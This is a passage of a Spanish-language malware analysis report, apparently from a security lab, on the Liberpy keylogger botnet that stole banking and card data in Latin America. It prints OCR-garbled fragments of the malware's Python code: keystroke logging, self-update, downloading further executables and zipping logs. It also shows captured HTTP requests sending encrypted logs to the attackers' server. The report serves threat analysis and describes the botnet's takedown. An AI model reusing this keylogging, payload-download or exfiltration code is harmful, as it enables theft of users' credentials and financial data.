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def OnKeyboardEvent (event): Liberpy 2-0 def OnKeyboardEvent (event): Liberpy 1-0
global lastWindow, window,clico global lastWindow, window,clico
window = event.WindowName window = event.WindowName
if eclico: if elico:
clico = False clico = False
return True return True
if Online"” in lastWindow and ' Online"
in window:
window = lastWindow
key = teclalevent) key = teclalevent)
if window != lastWindow: if window != lastWindow:
#print window if line"” in window:
if arrayEnCadena(lista ventanas,window) : file.write ("\n<br><span
class="windowname">"+windowt"</span>\n<br>")
file.write ("\n<br><u>'+window+ "</ u>\n<br>")
lastWindow = window 1astWihdow = window
if arrayEnCadena(lista_vwentanas,window) : if ! mline” in window or Online™ in
window:
file.write (key) file.write (key)

Imagen 22 - Diferencias en el modulo de keylogging

Nuevas funcionalidades

La version 2.0 de este malware cuenta con dos funciones nuevas asociadas a la actualizacion del malware y descarga de otros
archivos. Estas acciones deberian hacer mas dindamica la actualizacion del malware lo que conlleva una monitorizacion activa de
los sistemas infectada (se detalla mds adelante) y por otro lado dan la posibilidad de que el atacante instale otras amenazas en
los equipos infectados:

Funciones de Actualizacion y descarga de otros ejecutables

Actualizacion de C&C

def updateCurl>:

hd_win=environ[*3Y¥STEMDRIVE' ]
local_filename = url.splitC’ A" >[-11
download file<url?>

if avntorun.exists{"Libertyl-B._exe"'>:
antorun.removed  'Libertyl -B.exe")

if not autorun.exists("Libertuyl-B.exe''»:
autorun.add<"Libertyl—-B.exe", hd_wint+'~~MHSDcache ' +local_filename2
a = popen¢’'taskkill ~F ~IM ‘' tnombre_simismo+* ')

return

Imagen 23 - Actualizacion de C&C

Descarga de otros archivos

En la siguiente imagen se muestra parte del cddigo de Liberpy, asociada a la descarga de nuevos archivos ejecutables dentro del
sistema afectado. Esta diferencia entre versiones es mds que circustancial e importante, ya que le permitiria al atacante instalar
otras amenazas o herramientas para el robo de informacion o persistencia dentro de las redes comprometidas.
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def download_filedurl):
hd_win=environ[’S¥YSTEMDRIUVE’ 1
direcciones=url.zplit{’ *>
for url?2 in direcciones:
if(len{url2>>Ad>:
file_name = wurl2._splitd’ /' >[-11
u urllib2 _urlopenturl2)>
f = openthd_win+’ ~M8Dcache ' +file_name, ‘wh'?>
meta = u.info{)>
file_size = inttmeta.getheaders{"Content—-Length">[@1>

file_size_dl a
block_s=z = B1
while g
buffer = w.read(block _s=>
if not buffer:
break

file size_dl += len{(buffer

f.writechuffer

status r''x168d 3. 2Fxx1" » (file_size_dl, file_szize_dl = 18@. ~ file_sdi=el
status = status + chr(B)*(len(ztatusd>+i>

f.cloze(>
return

Imagen 24 - Funcion de descarga de archivos.

Acciones de Liberpy en un sistema infectado

Entre las acciones de analisis de Liberpy que llevamos adelante, utilizamos un sistema infectado para monitorear las diferentes
acciones, y formatos de los logs, al momento de una infeccidn. Con el fin de entender en detalle las acciones realizadas en un
sistema infectado, en esta seccidn detallaremos algunos datos de la comunicacion del equipo afectado con el C&Cy la manera en
la cual almacena los eventos de telcado del usuario:
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Imagen 25 - Archivo de keylogging

Los archivos del malware quedan ocultos ya que se cambian los atributos del mismo:
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Imagen 26 - Ocultamiento del malware

Para enviar la informacién al atacante se hace una comprobacién del tamaio del archivo, si el mismo excede el tamafio limite se
comprime y cifra con una clave AES (similar para las dos versiones):

ziplsrc, dstd:
zf = ZipFile("«s.zip" » {dstd, '
abs_src = path.abhspath(sprc)
for dirname. subdirs, files in walk{spc):
for filename in files:
absname path.abspathi{path.join{dirname,. filename>>
arcname ahznamel[len{abs_sprc) + 1:1

2f .write(absname. arcnamel
zf .closedl)

Imagen 27 - Zip de los logs

Envio de informacidn y actualizaciones

En esta seccién mostraremos algunas de las comunicaciones con el panel de control a través de capturas de Wireshark podemos
ver como se comunica con las URLs:

Filter: | http requestmethod == GET BExpression... Clear Zpply  Sawve

Mo, Tirne Source Destination Protocol Length  Info

H i

HTTP 15GET |

Imagen 28 - Contacto con el panel de control

En la siguiente captura puede observar, el momento en el que un Bot de Liberpy, consulta al panel de control por actualizaciones
0 nuevos comandos a ejecutar:



Operacion Liberpy

Stream Content

GET /tao/subir.php HTTR/1.1

Host: 173.254.204.70

Accept-eEncoding: gzip, deflate

AcCcept: ¥ /%

User-Agent: python-reqguests/2.3.0 CPython/2.7.8 windows/7

HTTP/1.1 200 OK

Date: Mon, 20 Apr 2015 15:26:20 GMT
server: apaches2.2.22 (behian)
X-Powered-By: PHP/5.4.36-0+deb7u3
vary: Accept-Encoding
Content-encoding: gzip
content-Length: 24

content-Type: text/html

........... R aoreaeaaae|
‘Entire conversation (396 bytes) EI
[ Eind ][ savess [ Pint ]© ascm ©) EBCDIC ©) HexDurnp © CArrays © Raw

[ Filter Out This Stream ] [ Close ]

Imagen 29 - Captura del trdfico a subir.php

Por otro lado, al momento de enviar la inofrmacidn que capturd Liberpy en el sistema, y se envia cifrada es posible ver que el
volumen del trafico es mucho mayor. En la siguiente captura, se puede observar el POST que un bot hace hacia el serviror, y que
en conjunto con los datos cifrados en el archivo con extension .ency el checksum para coroborar que se envio correctamente:

-Stream Content

POST /tao/subir.php HTTP/1.1 A
Host: 173.254.204.70

Content-Length: 2640

Content-Type: multipart/form-data; boundary=4232e6806af74f8h91a016a9fc570906
Accept-Encoding: gzip, deflate

AcCCept: /¥

User-agent: python-reguests/2.3.0 CPython/2.7.8 windows/7

--4232e6806af74f8h91a016a9fc570906
Ccontent-Disposition: form-data; name="archivo";
filename="7b26f32267_2463696142.zip.enc"
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Imagen 30 - Informacidn detallada con logs del sistema

Liberpy, presenta todas las caracteristicas basicas de un keylogger y un bot. Permitiéndo asi, que un atacante logre controlar los
equipos infectados a través de un panel de control. El envio de érdenes de actualziacion, cambio de dominios y otras funcionalidades,
le podrian permitir al atacante pasar de una direccion a otra en caso de que los dominios que controle sean bloqueados. Sin embargo,
a través del DNS Sinkhole que se realizd, y la pérdida del control por parte de los atacantes los equipos afectados ya no son
controlados. Ahora, a medida que los sistemas afectados sean identificados, podran ser desinfectados y revisadas las politicas de
seguridad para que esto no vuelva a ocurrir.
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Conclusion

Liberpy fue una Botnet que estuvo activa por mas de 8 meses en la region, orientada a robar informacién de usuarios de
Latinoamérica, y en particular de Venezuela. Recopilaba datos privados como usuarios, contrasefias, accesos a home banking y
tarjetas de crédito de los mas de 2000 equipos infectados.

A través de la colaboracion entre diferentes organismos de seguridad y empresas, hemos podido desmantelar esta red mediante
el andlisis y la comprension de su funcionamiento. Este tipo de acciones, nos permiten desarticular a los cibercriminales en la
region, alertar a los usaurios afectados y comprender cudles son las acciones que toman para luego ayudar a empresas y usuarios
a protegerse.

Estudiar el comportamiento, las acciones, técnicas y metodologias utilizadas por los cibercriminales es un paso mas en ayudar
a miles de usuarios en la region y en el mundo a estar alerta, identificar y proteger sus sistemas. Detectar las nuevas amenazas
que los cibercriminales propagan es una de las tareas que los Laboratorio de Analisis de Malware llevamos adelante, pero el
trabajo en conjunto entre diferentes entidades, permite abarcar diferentes aristas que nos ayudan a hacer de Internet un lugar
mas seguro.



